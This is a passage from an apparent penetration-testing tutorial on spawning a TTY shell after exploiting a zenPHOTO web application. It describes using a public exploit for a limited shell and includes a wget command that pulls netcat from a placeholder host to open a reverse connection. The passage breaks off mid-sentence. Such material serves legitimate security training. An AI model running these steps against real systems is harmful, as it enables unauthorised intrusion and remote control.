We have learned about different types of privilege escalation already. Now, let's look at some examples on how to get a TeleTYpewriter (TTY) shell on this system. A TTY showcases a simple text output environment that allows us to type in commands and get output.
Spawning a TTY shell
How to do it...
- Let's look at a simple example. Here, we have a web application running zenPHOTO:
![](https://static.packt-cdn.com/products/9781789952308/graphics/assets/9029086f-6925-4538-ae84-685b87175872.png)
- zenPHOTO already has a public exploit running, which we can use to get access to a limited shell:
![](https://static.packt-cdn.com/products/9781789952308/graphics/assets/d2e53bd0-48fa-4c61-9a3b-f53104821409.png)
- Since this is a limited shell, we will try to escape it and get a reverse connection by uploading netcat on the system and then using netcat to gain a back-connect:
wget x.x.x.x/netcat -o /tmp/netcat
The output of running the preceding...